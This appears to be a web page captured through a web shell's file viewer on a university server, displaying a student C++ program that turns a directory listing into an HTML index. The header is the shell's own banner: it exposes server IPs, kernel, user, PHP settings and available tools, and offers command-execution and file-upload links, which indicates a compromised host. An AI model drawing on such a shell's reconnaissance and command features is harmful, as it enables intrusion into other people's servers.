Server IP : 172.16.15.8 / Your IP : 3.147.27.129 Web Server : Apache System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64 User : apache ( 48) PHP Version : 7.2.24 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0705) : /home/lgmillard/../zwang/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
// read the direcory and out the html holding the regular files #include <iostream> using namespace std; int main() { string access, user, group, month, day, btime, filename, dummy; int num, size, len; getline(cin, dummy); // ignore the first line cout << "<html>\n<head><title>Code in Classroom</title></head> \n <body>\n"; cout << "<center><h2>Code in Classroom</h2>\n<h3>\n<p><hr><p>\n"; cin >> access; while(cin) { // input cin >> num >> user >> group >> size >> month >> day >> btime; getline(cin, filename); // process len = filename.length(); if( access[0] == '-' && filename.substr(len-3, 3) != "out") if (filename != " index.html" ) cout << "<a href=" << filename << ">" << filename << "</a> (" << month << " " << day << " " << btime << ")<br>\n"; cin >> access; } cout << "</h3>\n</body>\n</html>\n"; return 0; }